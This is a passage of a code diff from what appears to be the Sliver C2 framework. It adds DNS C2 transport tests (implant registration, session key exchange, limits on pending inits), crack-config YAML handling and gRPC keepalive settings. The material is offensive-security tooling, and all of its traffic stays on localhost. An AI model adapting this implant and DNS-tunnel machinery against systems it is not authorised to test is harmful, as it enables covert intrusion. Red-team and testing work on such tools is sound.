// force message fragmentation and reassembly over the DNS C2 transport.
|
||||
session := core.Sessions.Get(sessionID)
|
||||
if session == nil {
|
||||
t.Fatalf("session not found: %s", sessionID)
|
||||
}
|
||||
large := make([]byte, 8192)
|
||||
if _, err := rand.Read(large); err != nil {
|
||||
t.Fatalf("rand.Read: %v", err)
|
||||
}
|
||||
resp, err := session.Request(dnsE2EEchoMsgType, 20*time.Second, large)
|
||||
if err != nil {
|
||||
t.Fatalf("session.Request(echo): %v", err)
|
||||
}
|
||||
if !bytesEqual(resp, large) {
|
||||
t.Fatalf("echo response mismatch: %d != %d bytes", len(resp), len(large))
|
||||
}
|
||||
}
|
||||
|
||||
func bytesEqual(a, b []byte) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func freeUDPPort(t *testing.T) uint32 {
|
||||
t.Helper()
|
||||
conn, err := net.ListenPacket("udp", "127.0.0.1:0")
|
||||
if err != nil {
|
||||
t.Fatalf("listen udp: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
_, portStr, err := net.SplitHostPort(conn.LocalAddr().String())
|
||||
if err != nil {
|
||||
t.Fatalf("split udp addr: %v", err)
|
||||
}
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil {
|
||||
t.Fatalf("parse udp port: %v", err)
|
||||
}
|
||||
if port <= 0 || 65535 < port {
|
||||
t.Fatalf("unexpected udp port: %d", port)
|
||||
}
|
||||
return uint32(port)
|
||||
}
|
||||
|
||||
func setupDNSKeyExImplantBuild(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
certs.SetupCAs()
|
||||
serverAgeKeyPair := serverCrypto.AgeServerKeyPair()
|
||||
peerAgeKeyPair, err := serverCrypto.RandomAgeKeyPair()
|
||||
if err != nil {
|
||||
t.Fatalf("random age key pair: %v", err)
|
||||
}
|
||||
|
||||
implantCrypto.SetSecrets(
|
||||
peerAgeKeyPair.Public,
|
||||
peerAgeKeyPair.Private,
|
||||
"",
|
||||
serverAgeKeyPair.Public,
|
||||
serverCrypto.MinisignServerPublicKey(),
|
||||
)
|
||||
|
||||
digest := sha256.Sum256([]byte(peerAgeKeyPair.Public))
|
||||
publicKeyDigest := hex.EncodeToString(digest[:])
|
||||
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: "test-" + publicKeyDigest,
|
||||
PeerPublicKey: peerAgeKeyPair.Public,
|
||||
PeerPublicKeyDigest: publicKeyDigest,
|
||||
PeerPrivateKey: peerAgeKeyPair.Private,
|
||||
AgeServerPublicKey: serverAgeKeyPair.Public,
|
||||
}
|
||||
|
||||
if err := db.Session().Create(implantBuild).Error; err != nil {
|
||||
t.Fatalf("create implant build: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = db.Session().Delete(implantBuild).Error
|
||||
})
|
||||
}
|
||||
|
||||
func startTestDNSImplant(t *testing.T, dnsParent string, dnsPort uint32) func() {
|
||||
t.Helper()
|
||||
|
||||
opts := &dnsclient.DNSOptions{
|
||||
QueryTimeout: 250 * time.Millisecond,
|
||||
RetryWait: 50 * time.Millisecond,
|
||||
RetryCount: 10,
|
||||
MaxErrors: 10,
|
||||
WorkersPerResolver: 1,
|
||||
NoTXT: false,
|
||||
ForceResolvers: fmt.Sprintf("127.0.0.1:%d", dnsPort),
|
||||
}
|
||||
|
||||
// Starting the UDP listener is asynchronous relative to the gRPC call that
|
||||
// created it. Retry session init for a short time to avoid flakes.
|
||||
var (
|
||||
client *dnsclient.SliverDNSClient
|
||||
err error
|
||||
)
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for {
|
||||
client, err = dnsclient.DNSStartSession(dnsParent, opts)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("DNSStartSession: %v", err)
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e-dns",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "dns://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(register)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal register: %v", err)
|
||||
}
|
||||
if err := client.WriteEnvelope(&sliverpb.Envelope{Type: sliverpb.MsgRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send register: %v", err)
|
||||
}
|
||||
|
||||
handlers := implantHandlers.GetSystemHandlers()
|
||||
abort := make(chan struct{})
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
for {
|
||||
select {
|
||||
case <-abort:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
envelope, err := client.ReadEnvelope()
|
||||
switch err {
|
||||
case nil:
|
||||
if envelope == nil {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
case dnsclient.ErrTimeout:
|
||||
continue
|
||||
case dnsclient.ErrClosed:
|
||||
return
|
||||
default:
|
||||
// Treat transient resolver errors as retryable in this test loop.
|
||||
continue
|
||||
}
|
||||
|
||||
if envelope.ID == 0 {
|
||||
continue
|
||||
}
|
||||
if envelope.Type == dnsE2EEchoMsgType {
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: envelope.Data})
|
||||
continue
|
||||
}
|
||||
|
||||
handler, ok := handlers[envelope.Type]
|
||||
if !ok {
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, UnknownMessageType: true})
|
||||
continue
|
||||
}
|
||||
|
||||
handler(envelope.Data, func(data []byte, err error) {
|
||||
_ = err
|
||||
_ = client.WriteEnvelope(&sliverpb.Envelope{ID: envelope.ID, Data: data})
|
||||
})
|
||||
}
|
||||
}()
|
||||
|
||||
return func() {
|
||||
close(abort)
|
||||
_ = client.CloseSession()
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
}
|
||||
}
|
||||
}
|
||||
+289
-19
@@ -232,31 +232,55 @@ func reassemble(t *testing.T, parent string, size int, encoder encoders.Encoder)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSHelloRoundTrip(t *testing.T) {
|
||||
func TestDNSSessionInitRoundTrip(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
resolver := &testDNSResolver{server: server, parent: example1}
|
||||
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_TOTP,
|
||||
ID: 0,
|
||||
sessionID := uint32(0x123456)
|
||||
if _, ok := server.sessions.Load(sessionID); ok {
|
||||
t.Fatalf("expected session %d to not exist before init", sessionID)
|
||||
}
|
||||
domain, err := encodeMessageDomain(example1, msg)
|
||||
|
||||
key := implantCrypto.RandomSymmetricKey()
|
||||
cipherCtx := implantCrypto.NewCipherContext(key)
|
||||
initData, err := implantCrypto.AgeKeyExToServer(key[:])
|
||||
if err != nil {
|
||||
t.Fatalf("encodeMessageDomain failed: %s", err)
|
||||
t.Fatalf("AgeKeyExToServer failed: %s", err)
|
||||
}
|
||||
data, _, err := resolver.A(domain)
|
||||
initMsg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01000000 | sessionID,
|
||||
Size: uint32(len(initData)),
|
||||
}
|
||||
client := dnsclient.NewDNSClient(example1, opts)
|
||||
domains, err := client.SplitBuffer(initMsg, implantEncoders.Base32Encoder{}, initData)
|
||||
if err != nil {
|
||||
t.Fatalf("resolver.A failed: %s", err)
|
||||
t.Fatalf("SplitBuffer failed: %s", err)
|
||||
}
|
||||
if len(data) != 4 {
|
||||
t.Fatalf("expected 4 bytes in response, got %d", len(data))
|
||||
|
||||
var respData []byte
|
||||
for _, domain := range domains {
|
||||
data, _, err := resolver.TXT(domain)
|
||||
if err != nil {
|
||||
t.Fatalf("resolver.TXT failed: %s", err)
|
||||
}
|
||||
if 0 < len(data) {
|
||||
respData = data
|
||||
}
|
||||
}
|
||||
sessionID := binary.LittleEndian.Uint32(data) & sessionIDBitMask
|
||||
if sessionID == 0 {
|
||||
t.Fatal("expected non-zero session id")
|
||||
if len(respData) < 1 {
|
||||
t.Fatal("expected non-empty init response")
|
||||
}
|
||||
plaintext, err := cipherCtx.Decrypt(respData)
|
||||
if err != nil {
|
||||
t.Fatalf("init response decrypt failed: %s", err)
|
||||
}
|
||||
got := binary.LittleEndian.Uint32(plaintext) & sessionIDBitMask
|
||||
if got != sessionID {
|
||||
t.Fatalf("expected session id %d, got %d", sessionID, got)
|
||||
}
|
||||
if _, ok := server.sessions.Load(sessionID); !ok {
|
||||
t.Fatalf("expected session %d to be stored", sessionID)
|
||||
t.Fatalf("expected session %d to be stored after init", sessionID)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -421,7 +445,8 @@ func TestDNSDataToImplantRejectsInvalidRead(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestIsC2Domain(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
isC2, domain := listener.isC2SubDomain(c2Domains, "asdf.1.example.com.")
|
||||
if !isC2 {
|
||||
t.Fatal("IsC2Domain expected true, got false")
|
||||
@@ -444,7 +469,8 @@ func TestIsC2Domain(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataBase32(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
payload := make([]byte, 64)
|
||||
rand.Read(payload)
|
||||
original := &dnspb.DNSMessage{
|
||||
@@ -476,7 +502,8 @@ func TestDecodeSubdataBase32(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
_, _, err := listener.decodeSubdata("invalid")
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
@@ -484,7 +511,8 @@ func TestDecodeSubdataRejectsInvalid(t *testing.T) {
|
||||
}
|
||||
|
||||
func TestDecodeSubdataRejectsInvalidProto(t *testing.T) {
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false, true)
|
||||
listener := StartDNSListener("", uint16(9999), c2Domains, false)
|
||||
t.Cleanup(func() { _ = listener.Shutdown() })
|
||||
encoded, err := implantEncoders.Base32Encoder{}.Encode([]byte{0x00})
|
||||
if err != nil {
|
||||
t.Fatalf("encode failed: %s", err)
|
||||
@@ -570,6 +598,199 @@ func TestAccumulateInitDataReassembles(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataCapsPendingInits(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
// Only send a single fragment per INIT so each call allocates one pending init.
|
||||
for i := 0; i < defaultMaxPendingDNSInits+10; i++ {
|
||||
id := uint32(i + 1) // avoid zero
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2048,
|
||||
Start: 0,
|
||||
Data: []byte{0xAA},
|
||||
}
|
||||
_, complete, err := server.accumulateInitData(msg)
|
||||
if i < defaultMaxPendingDNSInits {
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error for pending init %d: %v", i, err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatalf("unexpected completion for pending init %d", i)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); !ok {
|
||||
t.Fatalf("expected pending init %d to be stored", id)
|
||||
}
|
||||
continue
|
||||
}
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg after cap, got %v", err)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected pending init %d to not be stored after cap", id)
|
||||
}
|
||||
}
|
||||
|
||||
if got := server.pendingInits.Load(); got != int64(defaultMaxPendingDNSInits) {
|
||||
t.Fatalf("expected pendingInits=%d, got %d", defaultMaxPendingDNSInits, got)
|
||||
}
|
||||
|
||||
var count int64
|
||||
server.messages.Range(func(key, value any) bool {
|
||||
count++
|
||||
return true
|
||||
})
|
||||
if count != int64(defaultMaxPendingDNSInits) {
|
||||
t.Fatalf("expected %d pending init entries, got %d", defaultMaxPendingDNSInits, count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataCompletionCleansUpPendingInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
client := dnsclient.NewDNSClient(example1, opts)
|
||||
|
||||
testData := make([]byte, 2048)
|
||||
rand.Read(testData)
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01020304,
|
||||
Size: uint32(len(testData)),
|
||||
}
|
||||
domains, err := client.SplitBuffer(msg, implantEncoders.Base32Encoder{}, testData)
|
||||
if err != nil {
|
||||
t.Fatalf("SplitBuffer failed: %s", err)
|
||||
}
|
||||
|
||||
subMsgs := make([]*dnspb.DNSMessage, 0, len(domains))
|
||||
for _, domain := range domains {
|
||||
subdata := strings.TrimSuffix(domain, example1)
|
||||
subdata = strings.ReplaceAll(subdata, ".", "")
|
||||
raw, err := implantEncoders.Base32Encoder{}.Decode([]byte(subdata))
|
||||
if err != nil {
|
||||
t.Fatalf("decode subdata failed: %s", err)
|
||||
}
|
||||
subMsg := &dnspb.DNSMessage{}
|
||||
if err := proto.Unmarshal(raw, subMsg); err != nil {
|
||||
t.Fatalf("unmarshal submsg failed: %s", err)
|
||||
}
|
||||
subMsgs = append(subMsgs, subMsg)
|
||||
}
|
||||
|
||||
for _, subMsg := range subMsgs {
|
||||
_, _, err := server.accumulateInitData(subMsg)
|
||||
if err != nil {
|
||||
t.Fatalf("accumulateInitData failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
if got := server.pendingInits.Load(); got != 0 {
|
||||
t.Fatalf("expected pendingInits=0 after completion, got %d", got)
|
||||
}
|
||||
if _, ok := server.messages.Load(msg.ID); ok {
|
||||
t.Fatalf("expected pending init %d to be deleted after completion", msg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataSizeMismatchCleansUpPendingInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
id := uint32(0x01020304)
|
||||
|
||||
// First fragment creates pending state.
|
||||
_, complete, err := server.accumulateInitData(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2048,
|
||||
Start: 0,
|
||||
Data: []byte{0xAA},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error creating pending init: %v", err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatal("unexpected completion creating pending init")
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != 1 {
|
||||
t.Fatalf("expected pendingInits=1, got %d", got)
|
||||
}
|
||||
|
||||
// Mismatched Size should reject and delete pending state.
|
||||
_, _, err = server.accumulateInitData(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: id,
|
||||
Size: 2049,
|
||||
Start: 1,
|
||||
Data: []byte{0xBB},
|
||||
})
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg for mismatched size, got %v", err)
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != 0 {
|
||||
t.Fatalf("expected pendingInits=0 after cleanup, got %d", got)
|
||||
}
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected pending init %d to be deleted after size mismatch", id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGCPendingInitsExpiresOldEntries(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
now := time.Now()
|
||||
expiredAt := now.Add(-defaultPendingDNSInitTTL - time.Second)
|
||||
freshAt := now.Add(-defaultPendingDNSInitTTL / 2)
|
||||
|
||||
expiredIDs := make([]uint32, 0, 10)
|
||||
freshIDs := make([]uint32, 0, 5)
|
||||
|
||||
for i := 0; i < 10; i++ {
|
||||
id := uint32(0x90000000 + i)
|
||||
expiredIDs = append(expiredIDs, id)
|
||||
server.messages.Store(id, &pendingInit{
|
||||
Created: expiredAt,
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: 1,
|
||||
received: 0,
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
})
|
||||
server.pendingInits.Add(1)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
id := uint32(0xA0000000 + i)
|
||||
freshIDs = append(freshIDs, id)
|
||||
server.messages.Store(id, &pendingInit{
|
||||
Created: freshAt,
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: 1,
|
||||
received: 0,
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
})
|
||||
server.pendingInits.Add(1)
|
||||
}
|
||||
|
||||
server.gcPendingInits()
|
||||
|
||||
for _, id := range expiredIDs {
|
||||
if _, ok := server.messages.Load(id); ok {
|
||||
t.Fatalf("expected expired pending init %d to be deleted", id)
|
||||
}
|
||||
}
|
||||
for _, id := range freshIDs {
|
||||
if _, ok := server.messages.Load(id); !ok {
|
||||
t.Fatalf("expected fresh pending init %d to remain", id)
|
||||
}
|
||||
}
|
||||
if got := server.pendingInits.Load(); got != int64(len(freshIDs)) {
|
||||
t.Fatalf("expected pendingInits=%d, got %d", len(freshIDs), got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSplitToChunksPadding(t *testing.T) {
|
||||
data := []byte{1, 2, 3, 4, 5, 6}
|
||||
chunks := splitToChunks(data, 4)
|
||||
@@ -658,7 +879,6 @@ func newTestDNSServer() *SliverDNSServer {
|
||||
messages: &sync.Map{},
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -860,3 +1080,53 @@ func randomBytes(size int) []byte {
|
||||
rand.Read(buf)
|
||||
return buf
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataRejectsOversizedInit(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
msg := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x01020304,
|
||||
Size: defaultMaxDNSInitSize + 1,
|
||||
Data: []byte{0x01},
|
||||
}
|
||||
|
||||
_, _, err := server.accumulateInitData(msg)
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAccumulateInitDataRejectsReceivedOverrun(t *testing.T) {
|
||||
server := newTestDNSServer()
|
||||
|
||||
// Declared size is 8 bytes, but two chunks deliver 10 bytes total.
|
||||
first := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x0a0b0c0d,
|
||||
Size: 8,
|
||||
Start: 0,
|
||||
Stop: 5,
|
||||
Data: []byte("12345"),
|
||||
}
|
||||
second := &dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_INIT,
|
||||
ID: 0x0a0b0c0d,
|
||||
Size: 8,
|
||||
Start: 5,
|
||||
Stop: 10,
|
||||
Data: []byte("67890"),
|
||||
}
|
||||
|
||||
_, complete, err := server.accumulateInitData(first)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error on first chunk: %v", err)
|
||||
}
|
||||
if complete {
|
||||
t.Fatal("expected incomplete state after first chunk")
|
||||
}
|
||||
|
||||
_, _, err = server.accumulateInitData(second)
|
||||
if err != ErrInvalidMsg {
|
||||
t.Fatalf("expected ErrInvalidMsg, got %v", err)
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -128,7 +128,7 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
|
||||
|
||||
// StartDNSListenerJob - Start a DNS listener as a job
|
||||
func StartDNSListenerJob(dnsListener *clientpb.DNSListenerReq) (*core.Job, error) {
|
||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries, dnsListener.EnforceOTP)
|
||||
server := StartDNSListener(dnsListener.Host, uint16(dnsListener.Port), dnsListener.Domains, dnsListener.Canaries)
|
||||
description := fmt.Sprintf("%s (canaries %v)", strings.Join(dnsListener.Domains, " "), dnsListener.Canaries)
|
||||
job := &core.Job{
|
||||
ID: core.NextJobID(),
|
||||
|
||||
+44
-4
@@ -52,10 +52,50 @@ func getCrackLegacyConfigPath() string {
|
||||
}
|
||||
|
||||
type crackConfigYAML struct {
|
||||
AutoFire bool `yaml:"AutoFire"`
|
||||
MaxFileSize int64 `yaml:"MaxFileSize"`
|
||||
ChunkSize int64 `yaml:"ChunkSize"`
|
||||
MaxDiskUsage int64 `yaml:"MaxDiskUsage"`
|
||||
AutoFire bool `yaml:"auto_fire"`
|
||||
MaxFileSize int64 `yaml:"max_file_size"`
|
||||
ChunkSize int64 `yaml:"chunk_size"`
|
||||
MaxDiskUsage int64 `yaml:"max_disk_usage"`
|
||||
}
|
||||
|
||||
type crackConfigYAMLCompat struct {
|
||||
AutoFire *bool `yaml:"auto_fire"`
|
||||
MaxFileSize *int64 `yaml:"max_file_size"`
|
||||
ChunkSize *int64 `yaml:"chunk_size"`
|
||||
MaxDiskUsage *int64 `yaml:"max_disk_usage"`
|
||||
|
||||
AutoFireLegacy *bool `yaml:"AutoFire"`
|
||||
MaxFileSizeLegacy *int64 `yaml:"MaxFileSize"`
|
||||
ChunkSizeLegacy *int64 `yaml:"ChunkSize"`
|
||||
MaxDiskUsageLegacy *int64 `yaml:"MaxDiskUsage"`
|
||||
}
|
||||
|
||||
func (c *crackConfigYAML) UnmarshalYAML(node *yaml.Node) error {
|
||||
var raw crackConfigYAMLCompat
|
||||
if err := node.Decode(&raw); err != nil {
|
||||
return err
|
||||
}
|
||||
if raw.AutoFire != nil {
|
||||
c.AutoFire = *raw.AutoFire
|
||||
} else if raw.AutoFireLegacy != nil {
|
||||
c.AutoFire = *raw.AutoFireLegacy
|
||||
}
|
||||
if raw.MaxFileSize != nil {
|
||||
c.MaxFileSize = *raw.MaxFileSize
|
||||
} else if raw.MaxFileSizeLegacy != nil {
|
||||
c.MaxFileSize = *raw.MaxFileSizeLegacy
|
||||
}
|
||||
if raw.ChunkSize != nil {
|
||||
c.ChunkSize = *raw.ChunkSize
|
||||
} else if raw.ChunkSizeLegacy != nil {
|
||||
c.ChunkSize = *raw.ChunkSizeLegacy
|
||||
}
|
||||
if raw.MaxDiskUsage != nil {
|
||||
c.MaxDiskUsage = *raw.MaxDiskUsage
|
||||
} else if raw.MaxDiskUsageLegacy != nil {
|
||||
c.MaxDiskUsage = *raw.MaxDiskUsageLegacy
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func crackConfigFromYAML(data []byte) (*clientpb.CrackConfig, error) {
|
||||
|
||||
@@ -17,6 +17,41 @@ func TestCrackConfigParsesYAML(t *testing.T) {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
data := []byte(`auto_fire: false
|
||||
max_file_size: 2048
|
||||
chunk_size: 1024
|
||||
max_disk_usage: 4096
|
||||
`)
|
||||
if err := os.WriteFile(configPath, data, 0600); err != nil {
|
||||
t.Fatalf("failed to write yaml config: %v", err)
|
||||
}
|
||||
|
||||
config, err := LoadCrackConfig()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if config.AutoFire {
|
||||
t.Fatalf("expected AutoFire false")
|
||||
}
|
||||
if config.MaxFileSize != 2048 {
|
||||
t.Fatalf("expected MaxFileSize %d, got %d", 2048, config.MaxFileSize)
|
||||
}
|
||||
if config.ChunkSize != 1024 {
|
||||
t.Fatalf("expected ChunkSize %d, got %d", 1024, config.ChunkSize)
|
||||
}
|
||||
if config.MaxDiskUsage != 4096 {
|
||||
t.Fatalf("expected MaxDiskUsage %d, got %d", 4096, config.MaxDiskUsage)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackConfigParsesLegacyYAML(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", t.TempDir())
|
||||
|
||||
configPath := getCrackConfigPath()
|
||||
if err := os.MkdirAll(filepath.Dir(configPath), 0700); err != nil {
|
||||
t.Fatalf("failed to create config dir: %v", err)
|
||||
}
|
||||
|
||||
data := []byte(`AutoFire: false
|
||||
MaxFileSize: 2048
|
||||
ChunkSize: 1024
|
||||
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
serverConfigFileName = "server.yaml"
|
||||
serverLegacyConfigFileName = "server.json"
|
||||
serverConfigFileName = "server.yaml"
|
||||
serverLegacyConfigFileName = "server.json"
|
||||
defaultGRPCKeepaliveMinTimeSeconds int64 = 30
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -59,6 +60,17 @@ type LogConfig struct {
|
||||
TLSKeyLogger bool `json:"tls_key_logger" yaml:"tls_key_logger"`
|
||||
}
|
||||
|
||||
// GRPCKeepaliveConfig - gRPC keepalive enforcement settings
|
||||
type GRPCKeepaliveConfig struct {
|
||||
MinTimeSeconds int64 `json:"min_time_seconds" yaml:"min_time_seconds"`
|
||||
PermitWithoutStream *bool `json:"permit_without_stream" yaml:"permit_without_stream"`
|
||||
}
|
||||
|
||||
// GRPCConfig - gRPC server settings
|
||||
type GRPCConfig struct {
|
||||
Keepalive *GRPCKeepaliveConfig `json:"keepalive" yaml:"keepalive"`
|
||||
}
|
||||
|
||||
// DaemonConfig - Configure daemon mode
|
||||
type DaemonConfig struct {
|
||||
Host string `json:"host" yaml:"host"`
|
||||
@@ -182,6 +194,7 @@ type ServerConfig struct {
|
||||
DaemonMode bool `json:"daemon_mode" yaml:"daemon_mode"`
|
||||
DaemonConfig *DaemonConfig `json:"daemon" yaml:"daemon"`
|
||||
Logs *LogConfig `json:"logs" yaml:"logs"`
|
||||
GRPC *GRPCConfig `json:"grpc" yaml:"grpc"`
|
||||
Watchtower *WatchTowerConfig `json:"watch_tower" yaml:"watch_tower"`
|
||||
GoProxy string `json:"go_proxy" yaml:"go_proxy"`
|
||||
HTTPDefaults *HttpDefaultConfig `json:"http_default" yaml:"http_default"`
|
||||
@@ -257,6 +270,20 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
|
||||
|
||||
if config.GRPC == nil {
|
||||
config.GRPC = &GRPCConfig{}
|
||||
}
|
||||
if config.GRPC.Keepalive == nil {
|
||||
config.GRPC.Keepalive = &GRPCKeepaliveConfig{}
|
||||
}
|
||||
if config.GRPC.Keepalive.MinTimeSeconds <= 0 {
|
||||
config.GRPC.Keepalive.MinTimeSeconds = defaultGRPCKeepaliveMinTimeSeconds
|
||||
}
|
||||
if config.GRPC.Keepalive.PermitWithoutStream == nil {
|
||||
defaultPermit := true
|
||||
config.GRPC.Keepalive.PermitWithoutStream = &defaultPermit
|
||||
}
|
||||
|
||||
err := config.Save() // This updates the config with any missing fields
|
||||
if err != nil {
|
||||
serverConfigLog.Errorf("Failed to save default config %s", err)
|
||||
@@ -271,6 +298,7 @@ func GetServerConfig() *ServerConfig {
|
||||
}
|
||||
|
||||
func getDefaultServerConfig() *ServerConfig {
|
||||
defaultPermitWithoutStream := true
|
||||
return &ServerConfig{
|
||||
DaemonMode: false,
|
||||
DaemonConfig: &DaemonConfig{
|
||||
@@ -282,6 +310,12 @@ func getDefaultServerConfig() *ServerConfig {
|
||||
GRPCUnaryPayloads: false,
|
||||
GRPCStreamPayloads: false,
|
||||
},
|
||||
GRPC: &GRPCConfig{
|
||||
Keepalive: &GRPCKeepaliveConfig{
|
||||
MinTimeSeconds: defaultGRPCKeepaliveMinTimeSeconds,
|
||||
PermitWithoutStream: &defaultPermitWithoutStream,
|
||||
},
|
||||
},
|
||||
HTTPDefaults: &HttpDefaultConfig{
|
||||
Headers: []HttpDefaultHeader{
|
||||
{
|
||||
|
||||
@@ -138,15 +138,20 @@ func (c *CrackFileChunk) ToProtobuf() *clientpb.CrackFileChunk {
|
||||
// crack job contains the parent command, whose keyspace may get broken
|
||||
// up into multiple crack tasks and distributed to multiple crackstations
|
||||
type CrackJob struct {
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CompletedAt time.Time
|
||||
Tasks []CrackTask
|
||||
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
|
||||
CreatedAt time.Time `gorm:"->;<-:create;"`
|
||||
CompletedAt time.Time
|
||||
Err string
|
||||
ResultFileID string
|
||||
Tasks []CrackTask
|
||||
|
||||
Command CrackCommand // Parent command
|
||||
}
|
||||
|
||||
